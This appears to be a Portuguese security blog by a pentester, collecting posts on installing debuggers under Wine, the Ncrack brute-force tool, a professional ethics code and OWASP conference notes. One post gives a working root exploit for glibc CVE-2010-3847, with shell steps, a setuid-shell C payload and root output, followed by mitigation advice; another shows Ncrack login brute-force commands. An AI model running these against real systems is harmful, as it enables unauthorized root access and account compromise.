quarta-feira, 13 de abril de 2011

Instalando o OllyDBG 2.0c no Ubuntu 10.04 LTS

Para quem curte engenharia reversa, descomplicação e outros, vamos instalar o OllyDBG 2.0c no Ubuntu 10.04 LTS

Link:
http://www.ollydbg.de/odbg201c.zip

Descrição do Fabricante:
OllyDbg is a 32-bit assembler level analysing debugger for Microsoft® Windows®. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable. OllyDbg is a shareware, but you can download and use it for free. Special highlights are:
  • Intuitive user interface, no cryptical commands
  • Code analysis - traces registers, recognizes procedures, loops, API calls, switches, tables, constants and strings
  • Directly loads and debugs DLLs
  • Object file scanning - locates routines from object files and libraries
  • Allows for user-defined labels, comments and function descriptions
  • Understands debugging information in Borland® format
  • Saves patches between sessions, writes them back to executable file and updates fixups
  • Open architecture - many third-party plugins are available
  • No installation - no trash in registry or system directories
  • Debugs multithread applications
  • Attaches to running programs
  • Configurable disassembler, supports both MASM and IDEAL formats
  • MMX, 3DNow! and SSE data types and instructions, including Athlon extensions
  • Full UNICODE support
  • Dynamically recognizes ASCII and UNICODE strings - also in Delphi format!
  • Recognizes complex code constructs, like call to jump to procedure
  • Decodes calls to more than 1900 standard API and 400 C functions
  • Gives context-sensitive help on API functions from external help file
  • Sets conditional, logging, memory and hardware breakpoints
  • Traces program execution, logs arguments of known functions
  • Shows fixups
  • Dynamically traces stack frames
  • Searches for imprecise commands and masked binary sequences
  • Searches whole allocated memory
  • Finds references to constant or address range
  • Examines and modifies memory, sets breakpoints and pauses program on-the-fly
  • Assembles commands into the shortest binary form
  • Starts from the floppy disk
and much, much more!

Features OllyDBG 2.0c:
April 11, 2011 - OllyDbg 2.01 alpha 3. Here it is!
A major update with many new features. Here are the most important:

- Support for multi-monitor configurations
- Hardware breakpoints and fast command emulation now co-operate. That is, run trace rund at full speed (up to and exceeding 500000 commands per second) even if there are hardware breakpoints set
- Purely conditional breakpoints during run trace are strongly accelerated
- Stepping, tracing and execution till selection with hardware breakpoints instead of INT3. Controlled by option Debugging | Use HW breakpoints for stepping
- INT3 and hardware breakpoints allow to declare their location as an entry point and specify call parameters for protocolling
- Scan for hidden modules. .NET environment frequently loads modules but does not report them to Debugger
- Search window keeps up to 8 last searches in a separate tabs
- Option to load .udd information even when path, file name or file checksum is different
- Option to save .udd file on request
- Expressions allow for DWORD=="text". Doubleword is interpreted as a pointer to string, comparison is done both in ASCII and UNICODE modes
- Updated decoding of several rare commands
- List of windows. I get address of window function directly from the Window tables. This is tricky but works perfectly
- ASCII dumps and ASCII strings in Binary edit are displayed according to the seleced code page (option Appearance | ASCII code page)
- Memory allocated at address 0 will be correctly recognized and displayed. (Yes, it's possible - I was also astonished by this fact! In this way one can address data using NULL pointer!)
- Improved post-mortem dump. I was unable to find the reason for several reported crashes because they occured in the system DLLs. Now when creating the dump I attempt to backtrace the stack
- Several not-so-inportand changes, like accelerated analysis of tricky code sequences, option to decode registers for selected command, new origin on non-command (safeguard: no shortcut), correct truncation of very long file names in the main menu, restarting of the last loaded executable even when several OllyDbg instances are running in parallel, etc, etc
- And, of course, multiple bugfixes.

Instalação
# apt-get install wine* -y

Feito o download, descompacte com unzip na sua pasta de peferência:
# unzip odbg201c.zip

Execução
# cd odbg201c
# wine ollydbg.exe



Ncrack – ferramenta para brute-force

Ncrack é uma ferramenta desenvolvida como projeto para o Google Summer of Code de 2009 por Fotis Hantzis e Fyodor (integrante da equipe do insecure.org). É um software para brute-force, similar ao hydra e medusa, que conta, atualmente, com suporte a RDP, SSH, http(s), SMB, pop3(s), FTP, e telnet.

Na página do projeto você pode encontrar instaladores para Windows e Mac OS X, além do pacote contendo o código fonte. Descreverei o processo de instalação para ambientes GNU/Linux, que tem como pré-requisito os pacotes gcc e build-essential.


Instalando através do tarball:

wget -c http://nmap.org/ncrack/dist/ncrack-0.3ALPHA.tar.gz
tar -xvzf ncrack-0.3ALPHA.tar.gz
cd ncrack-0.3ALPHA/
./configure
make
make install

Ou pelo repositório SVN:

svn co --username guest --password "" svn://svn.insecure.org/ncrack
cd ncrack
./configure
make
make install

Exemplos de uso:

ncrack -v http://127.0.0.1 –user admin
ncrack http://192.168.1.1 –user admin -P wordlist.lst

É possível importar scans feitos com o nmap:

nmap 192.168.1.0/24 -oX saida.xml
ncrack -iX saida.xml


Mais informações em: http://nmap.org/ncrack/ e http://nmap.org/ncrack/man.html

1. ­ SER HONESTO E DIGNO DE CONFIANÇA

Um Desenvolvedor de Software e tem o dever de ser honesto sobre suas limitações e competências, evitando conflito de interesses, colocando o bem-estar do grupo e a integridade das empresas sempre em primeiro plano, não fazendo declarações ou atos enganosas e/ou prejudiciais.

2. ­ RESPEITAR A PRIVACIDADE
Dado o escopo da pesquisa e desenvolvimento, é de responsabilidade dos integrantes manter a privacidade e integridade dos dados e informações, assegurando sua proteção contra acesso não autorizado ou revelações acidentais a indivíduos não autorizados. Nenhum desenvolvedor de software deve acessar ou usar o sistema, o software ou o arquivo de dados sem permissão apropriada. Os desenvolvedores de software não devem utilizar de sua autoridade ou conhecimento especial para acessar qualquer informação privilegiada, exceto quando necessário para o cumprimento de suas obrigações e responsabilidades. Mesmo assim, tal acesso deve ser o mínimo necessário para a realização da tarefa, e deve ser condizente com a regulamentação interna da organização. Independentemente da forma de obtenção, administradores de sistema devem manter a confidencialidade de informações sigilosas e reservadas.

3. ­ HONRAR A CONFIDENCIALIDADE
O respeito às obrigações de confidencialidade para com os dados das empresas/organizações é imprescindível, em todos os aspectos, sendo vetada a revelação de quaisquer informações internas para pessoas que não fazem parte do grupo de trabalho/desenvolvimento.

4. ADQUIRIR E MANTER A COMPETÊNCIA PROFISSIONAL
A educação contínua é um requisito básico, com a finalidade de atualização e extensão dos conhecimentos teóricos e técnicos, seja através de estudo, prática e compartilhamento de informações e experiências com os companheiros e profissionais da área, devendo esta troca ser recíproca e mútua.

5. ­ DEMONSTRAR PROFISSIONALISMO E COMPORTAMENTO EXEMPLAR NA REALIZAÇÃO DE SEUS DEVERES
O alto nível de qualidade no trabalho é essencial, e o esforço para mantê-lo deve ser constante, assim como o profissionalismo em seu desenvolvimento. O comportamento ético deve ser também estendido à vida pessoal do Cientista da Computação e em outras Áreas co-relatas, devendo este ser correto em qualquer atitude que tomar, em qualquer âmbito.

6. ­ COMUNICAR-SE SEMPRE COM OS COLEGAS
A comunicação entre Cientistas da Computação e outras áreas co-relatas, deve ser feita de forma regular e transparente, contendo todas as informações que possam, de alguma maneira, afetar o trabalho. Devem ser reveladas para a equipe informações tais como: compartilhamento de recursos comuns, manutenção de segurança, ocorrência de monitoramento de sistemas, situações de emergência e outros assuntos relevantes.

7. ­ TER RESPONSABILIDADE SOCIAL
É de suma importância aumentar o entendimento dos assuntos sociais e legais relativos aos ambientes computacionais, comunicando esta compreensão aos outros e encorajar a escrita e adoção de políticas e leis consistentes sobre sistemas de computação seguindo princípios éticos.

8. ­ IDENTIFICAR CLARAMENTE SUA PRÓPRIA OPINIÃO
Nenhum Cientista da computação e áreas co-relatas, possui autoridade para falar ou dar declarações em nome da empresa/organização, de forma pública ou com a mídia, sem que esta responsabilidade lhe seja delegada pelo coordenador/gerente de projetos. As opiniões dos Cientistas da Computação e áreas co-relatas devem representar suas opiniões pessoais, e não a opinião do grupo/trabalho/organização, a menos que esta responsabilidade tenha sido diretamente delegada. Cada cientista da computação deve, sempre que consultado, apresentar sua opinião de maneira imparcial, devidamente acompanhada de observações sobre preferências pessoais ou falta de maior conhecimento. Quaisquer conflitos de interesse devem ser expostos imediatamente. Os membros do grupo/trabalho/organização devem entender e deixar claros estes aspectos a respeito de suas declarações, sejam elas verbais ou escritas.

Mauro Risonho de Paula Assumpção
Desenvolvedor de Software / Pentester, Analista de Segurança

Certificado Missão NASA em 2011 – Seu nome em um microchip !

O link para preenchimento é este:

http://mars9.jpl.nasa.gov/msl/participate/sendyourname/index.cfm

Você deve preencher com:
- Nome
- Sobrenome
- País
- CEP

Veja o meu certificado

http://mars9.jpl.nasa.gov/msl/participate/sendyourname/index.cfm?action=getcert&hashid=AFBF97E068D8ADB023499113AC947BEE

Backtrack 4 RC1 – HowTo Install Immunity Debugger by Wine

link for download:
IMMUNITY : Knowing You’re Secure

News
IMMUNITY : Knowing You’re Secure

Immunity Debugger is a powerful new way to write exploits, analyze malware, and reverse engineer binary files. It builds on a solid user interface with function graphing, the industry’s first heap analysis tool built specifically for heap creation, and a large and well supported Python API for easy extensibility.

  • A debugger with functionality designed specifically for the security industry
  • Cuts exploit development time by 50%
  • Simple, understandable interfaces
  • Robust and powerful scripting language for automating intelligent debugging
  • Lightweight and fast debugging to prevent corruption during complex analysis
  • Connectivity to fuzzers and exploit development tools

The Best of Both Worlds
Immunity Debugger’s interfaces include the GUI and a command line. The command line is always available at the bottom of the GUI. It allows the user to type shortcuts as if they were in a typical text-based debugger, such as WinDBG or GDB. Immunity has implemented aliases to ensure that your WinDBG users do not have to be retrained and will get the full productivity boost that comes from the best debugger interface on the market.

Commands can be extended in Python as well, or run from the menu-bar.

HowTo Install Immunity Debugger by Wine

Step 1
Create folders in:

/pentest/re/immunity_debugger

Step 2a
Click in file:
ImmunityDebugger_1_73_setup.exe

Step 2b
Click in “I Agree”

Step 3
Click in “Install” and use Path C:\Program Files\Immunity Inc\Immunity Debugger

Step 4
Download Python 2.7 Release

Step 5
Execute shell:
#wine msiexec /i python-2.7.msi

Step 6
Option “Install for all users”

C:\Python27\
next, next, next and Finish

Step 7
Delete desktop icon “Immunity Debugger”

Step 8
- Click “Dragon Icon” right click and click “Menu Editor”
- Move Menu “Wine->Programs->Immunity Inc->” to “Backtrack”->Reverse Engineering”"

Step 9
Save “menu editor” File->Save

Step 10
Click “Dragon Icon”->”Backtrack”->”Reverse Engineering”->”Immunity Inc”->”Immunity Debugger”->”Immunity Debugger”

Happy Exploits, Shellcodes, Nops:)

@firebitsbr

Executando o exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilégios -> root em qualquer Linux

Executando o exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilégios -> root em qualquer Linux

A falha que estou falando é notícia no site underlinux.org
http://under-linux.org/privilegios-de-root-atraves-de-vulnerabilidade-na-biblioteca-gnu-c-1855/ e maiores detalhes em:
https://bugzilla.redhat.com/show_bug.cgi?id=643306 e em http://secunia.com/advisories/cve_reference/CVE-2010-3847/, pois até a data deste artigo a pedido do fabricante não liberam no CVE, mais informações

OBS: Testado e comprovado com sucesso em VM local que produzi em LAB, mas não utilizando a produção ou derivados. Tenha cuidado.
O autor deste artigo não se responsabiliza por dados mediante este artigo ou derivados.

PoC Exploit (Proof of Concept Exploit)

Crie um usuário teste, set a senha e depois autentique com o mesmo

$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system(“/bin/bash”);
}
^D
(Ctrl+D) <— parte as teclas para salvar e sair

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
$ LD_AUDIT=”\$ORIGIN” exec /proc/self/fd/3
# whoami
root
id
uid=0(root) gid=500(teste)

Mitigação
========
Evitar de criar usuários em filesystems sem permissão nosuid
Caso não seja possível, há um paleativo:

# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp

Solução
=======
Atualizar glibc-2.5.49.el5_5.i686 -> com yum update caso já haja glibc atual.

Foi exploitado sem sucesso em uma VM Local no CentOS 5.5, sem sucesso. O que pude concluir que a atualização da glibc contorna a falha, mas deve-se avaliar melhor e com cautela, pois a atualização da glibc, sem total atualização do SO de CentOS 5.3 -> CentOS 5.5 pode o acarretar em “crash” total do SO, devido à esta biblioteca ser uma das principais do SO.

Qualquer dúvida, estou à disposição.

@firebitsbr
firebits.wordpress.com

http://www.backtrack.com.br

http://www.backtrack-linux.org

firebits@backtrack.com.br

Palestra e paper aceito na OWASP 2010 AppSec 2010 Cpqd Campinas-SP Brasil

Meu paper (criado em conjunto do meu brother Aditya K Sood) foi aceito na OWASP 2010 AppSec 2010 Cpqd Campinas-SP Brasil, com o tema:

The Tao of Hacking – Detecção de vulnerabilidades em dispositivos de rede baseados em web

http://www.owasp.org/index.php/AppSec_Brasil_2010_%28pt-br%29#tab=Palestras

Demais autores: Aditya K Sood

Resumo: Este paper refere-se as falhas de projeto e vulnerabilidades em vários dispositivos de rede periféricos usados para a segurança que estão e tem interfaces web. Nós estaremos falando sobre algumas das vulnerabilidades que temos descobertos enquanto fazemos pentests e testamos esses dispositivos. Além disso, essa palestra também coloca ênfase na coleta de informações sobre redes internas dos dispositivos de rede como balanceadores de carga, firewalls, estações de disco, proxies, câmeras de vigilância, etc O objetivo é reunir o máximo de informação a partir destes dispositivos e usar essa informação para testar a segurança desses dispositivos e detecção de vulnerabilidades em si. Esta palestra é conceitual e puramente técnica, sendo projetada de uma maneira fácil de compartilhar informações entre as massas

Biografia: Sr. Mauro Risonho de Paula Assumpção aka firebits é pesquisador de segurança e palestrante em conferências de segurança. Ele está trabalhando como diretor em NSEC Security Systems, uma organização que presta serviços de Consultoria de Segurança e testes de penetração. Ele tem realizado várias testes de segurança e desenvolvimento de projetos para organizações como Intel, Google, Microsiga, Avon, CMS Energy, Unilever, Rhodia, Tostines, a Degussa, Niplan e outros. Ele é fundador e de “Backtrack Brasil” e Moderador e Tradutor Backtrack EUA.

Aditya K Sood é um pesquisador de segurança, consultor e doutorando em Ciência da Computação na Michigan State University. Ele tem trabalhado no domínio da segurança para Armorize, COSEINC e KPMG. Ele é um dos fundadores da empresa de segurança SecNiche, um espaço independente para pesquisa de segurança. Ele tem participado ativamente em congressos como o RSA (EUA 2010), TRISC, EuSecwest, XCON, Soldados, OWASP AppSec, FOSS, CERT-IN etc. Ele tem escrito para HITB Ezine, Hakin9, Login Usenix, periódicos Elsevier, Debbugged! MZ/PE. Ele lançou vários alertas para companhias de vanguarda. Além de seu trabalho de rotina normal, ele gosta de fazer muita pesquisa baseada na web e projetar vetores de ataque.

Minha experiência no 2º OWASP 2010 – AppSec 2010 Cpqd – Campinas-SP Brasil

Chegamos ao evento no horário do almoço.

O Cpqd é um ótimo local para eventos como este e outros, mas o ideal para que quer ter acesso à transporte que se vá de carro ou táxi, pois ônibus do transporte público é um “pouco” fora de mão para quem não conhece plenamente.

Eu estive lá no ano de 1998, quando estava terminando meu Técnico em Processamento de Dados e nos apresentaram alguns trabalhos em fibra óptica.

Em 12 anos, para mim, a estrutura do Cpqd não mudou em sua arquitetura.

Um palestrante que pude conversar, foi o:

15:20 – 16:10 Mano Paul
Wild Wild Wild Security Planet

Logo após o break. Perguntei à ele se conhecia o Aditya K Sood e ele disse que apenas “ouviu falar, mas não teve a oportunidade ainda”. É outro cara que é gente boa, humilde e manja também. Ele trouxe a esposa e o filho pequeno, que formam um linda família. Também eu e minha esposa podemos conhecê-los.

Perguntei se ele conhecia o projeto Backtrack-Linux.org e que tenho contato diretamente com o Muts (CEO do Backtrack) e nosso projeto no Brasil, o Backtrack Brasil www.backtrack.com.br ele disse que conheceu o muts na Blackhat de 2010 (este ano).

Um cara que já algum tempo, via email, era o Tony Rodrigues. Gente boa, humilde e conhece muito de forense, como todos já sabem. A palestra dele sobre Tony’s Top 10 Application Artifacts: A Computer Forensics Approach to OWASP Top 10, foi genial pois ele fez uma “ponte” entre forense e o projeto OWASP.

Minha palestra:

17:20 – 18:10 Mauro Risonho de Paula Assumpção
The Tao of Hacking – Detecção de vulnerabilidades em dispositivos de rede baseados em web

Foi trocada de horário com o do palestrante:

18:10 – 18:50 Dinis Cruz
OWASP O2 Project

Devido ao horário do vôo do Dinis Cruz, à pedido do Lucas da OWASP. Conversei com o Dinis Cruz, sobre isso e outros assuntos relevantes e como meu inglês básico e ele sabe nosso português, ficou fácil a comunicação.

O cara é gente boa, humilde e manja.

MySQL SQL Injection

Sugestões de pesquisa para SQL Injection no MySQL, o problema é quando o resultado não é o esperado, o mesmo não retorna o erro da tabela de erros do MySQL.

http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf

http://www.google.com/search?client=ubuntu&channel=fs&q=sql+injection+mysql&ie=utf-8&oe=utf-8

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

http://www.tizag.com/mysqlTutorial/mysql-php-sql-injection.php

BT4RC2: Darik’s Boot And Nuke (Anti-Forensics)

Insert in:

Logo “Dragon”-> Backtrack-> Digital Forensics->Anti-Forensics

Darik’s Boot and Nuke (“DBAN”) is a self-contained boot disk that securely wipes the hard disks of most computers. DBAN will automatically and completely delete the contents of any hard disk that it can detect, which makes it an appropriate utility for bulk or emergency data destruction.

http://www.dban.org/

@firebitsbr

sectool : Tool for Security Audit Tool and IDS

sectool is often a security tool that will be applied each like a security audit along with a component of an intrusion detection system. It consists of set of tests, library and textual , graphical frontend. Screening are sorted into groups and security levels. Administrators can run a number of tests, groups or whole security levels.

3089d9875bf0b41a8f5405171c5f3661.jpg

Security Levels in sectool

1.Naive – pretty basic and short set of tests
2.Desktop – set of tests prepared to run on box not connected to internet
3.Network – standard client machine connected to internet
4.Server – network server
5.Paranoid – bunch of tests for paranoid admins
The tests print several type of messages during their execution. “Warning” and “Error” messages are used to inform about discovered security risks.

warning – something that admin should know about
error – issues that should be fixed
Then there are another two messages: “Hint” and “Info”. These two are not print by default, so they need to be turned on.

hint – helps to find a way how to resolve discovered issue
info – provides information what does the test do at the moment

Test Results of sectool
Every test run is finished with one of these results:
- PASS – Everything went OK, no security risks were discovered
- WARNING – only warning messages were print
- ERROR – at least one security issue was discovered
- FAIL – internal test problem appears, test can’t be run

Operating system supported
Currently *nix
We hope support for windows wil be added soon .

Download sectool v0.9.4 Here

@firebitsbr